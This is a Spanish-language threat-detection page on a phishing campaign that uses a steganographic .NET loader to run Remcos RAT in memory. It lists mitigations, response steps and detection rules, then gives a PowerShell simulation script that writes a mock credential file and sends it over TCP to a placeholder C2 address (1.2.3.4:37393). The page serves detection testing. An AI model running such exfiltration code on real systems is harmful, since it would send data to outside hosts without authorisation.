Una campaña de cargador esteganográfico multi-etapa que despliega cargas útiles diversas en todo el mundo
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Una campaña de malware multi-etapa utiliza esteganografía y ejecución en memoria para entregar múltiples cargas útiles, incluido Remcos RAT. La cadena de infección comienza con un correo electrónico de phishing que lleva un archivo malicioso que descarga un ejecutable .NET. Ese ejecutable utiliza recursos incrustados y métodos esteganográficos para cargar etapas posteriores directamente en la memoria, ayudando al malware a evitar la detección basada en disco.
Investigación
La investigación comenzó después de que la telemetría marcara un archivo sospechoso llamado GST Debit Note Apr_26.com. Los analistas determinaron que el archivo era un ejecutable .NET de 32 bits empaquetado disfrazado como un juego. Un análisis inverso posterior reveló esteganografía incrustada en un objeto Bitmap .NET, que ocultaba el cargador de la siguiente etapa, Optimax.dll, y le permitía ejecutarse completamente en memoria.
Mitigación
Las organizaciones deben implementar un fuerte filtrado de correo electrónico para bloquear archivos adjuntos de archivos sospechosos e intentos de phishing. Las soluciones EDR deben ser capaces de detectar la ejecución en memoria, el vaciado de procesos y el comportamiento sospechoso de PowerShell. Los equipos también deben monitorear cambios no autorizados en el registro, especialmente en las claves de Run, y aplicar un control estricto de aplicaciones para evitar el lanzamiento de ejecutables no firmados.
Respuesta
Los puntos finales afectados deben ser aislados inmediatamente para limitar el movimiento lateral y el robo de datos. Los investigadores deben realizar informática forense de memoria para identificar componentes sin archivos y confirmar la presencia del Remcos_Mutex_Inj mutex. También se debe realizar una revisión completa para verificar la persistencia no autorizada en el directorio AppData y las claves de Run del registro, mientras que las credenciales deben ser restablecidas para cualquier usuario cuyos navegadores puedan haber sido accedidos por el malware.
Flujo de Ataque
Detecciones
Llamada a Métodos .NET Sospechosos desde Powershell (vía powershell)
Ver
Posibles Puntos de Persistencia [ASEPs – Hive de Software/NTUSER] (vía registry_event)
Ver
La Posibilidad de Ejecución Mediante Líneas de Comando de PowerShell Ocultas (vía cmdline)
Ver
Posibles Indicadores de Ofuscación de Powershell (vía powershell)
Ver
Exfiltración de Datos Capturados a Comando y Control [Conexión de Red de Windows]
Ver
Ejecución de Script de PowerShell Ofuscado en Campaña de Cargador Esteganográfico [Windows Powershell]
Ver
Detección de Infección de Remcos RAT a través de Técnicas Esteganográficas y Sin Archivos [Creación de Procesos de Windows]
Ver
Ejecución de Simulación
Prerequisito: La inspección previa al vuelo de Telemetría y Línea Base debe haber pasado.
Racional: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTPs identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección. Los ejemplos abstractos o no relacionados llevarán a un diagnóstico incorrecto.
-
Narrativa del Ataque & Comandos: El adversario ha logrado establecer un punto de apoyo. Para completar el objetivo, recopilan telemetría del sistema y la guardan en un archivo llamado
logs.datpara hacerse pasar por registros del sistema estándar. Luego, el adversario inicia una conexión de red hacia la infraestructura C2 establecida (usando la IP1.2.3.4y el puerto37393para esta simulación) para exfiltrar los datos. Esto imita el comportamiento de un cargador esteganográfico intentando mover los datos fuera de la red a través de un canal específico y codificado. -
Script de Prueba de Regresión:
# Simulación de Exfiltración de Datos a través de nombre de archivo específico y parámetros C2 $C2_IP = "1.2.3.4" # IP de C2 simulada $C2_PORT = 37393 $FILENAME = "logs.dat" # 1. Crea el archivo de datos 'malicioso' Write-Output "Datos Sensibles: UserCredentials_Admin_Pass123" | Out-File -FilePath "$env:TEMP$FILENAME" # 2. Simula la conexión de red al C2 # Usando un Cliente TCP para forzar la telemetría del puerto/IP específico try { $client = New-Object System.Net.Sockets.TcpClient($C2_IP, $C2_PORT) $stream = $client.GetStream() $data = [System.Text.Encoding]::ASCII.GetBytes((Get-Content "$env:TEMP$FILENAME")) $stream.Write($data, 0, $data.Length) $client.Close() } catch { Write-Host "Conexión fallida (Esperado si la IP no existe), pero la telemetría debería ser capturada por el firewall." } -
Comandos de Limpieza:
# Elimina el archivo malicioso simulado Remove-Item -Path "$env:TEMPlogs.dat" -ErrorAction SilentlyContinue